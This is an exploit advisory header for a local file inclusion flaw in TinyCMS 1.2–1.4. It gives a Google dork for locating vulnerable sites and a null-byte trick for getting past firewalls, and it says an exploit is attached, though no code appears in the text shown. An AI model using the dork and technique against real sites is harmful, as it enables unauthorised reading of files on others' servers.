TinyCMS 1.4 Local File Inclusion

[+] Exploit title: TinyCMS - Local File Inclusion
[+] Date: 2/10/2012
[+] Author: Phizo
[+] Vendor: http://www.tinycms.net/
[+] Version: 1.2 - 1.4
[+] Category: webapps
[+] Google dork: intext:"Powered by TinyCMS"
[+] Tested on: Windows 7 | Firefox 15.0.1


All current versions of TinyCMS seem to be affected by the following local file inclusion vulnerability.
TinyCMS 1.0 and 1.1 are no longer available on the developer's website, however 1.2 to 1.4 remain today and are vulnerable.
The option for omitting or including the null byte in the request was included because some web servers may have a WAF (Web Application Firewall) installed and/or magic quotes installed which may prevent inclusion of the desired file.
The Google dork provided currently produces "About 4,510 results".
The vulnerable code along with an exploit has been included.
Have fun.
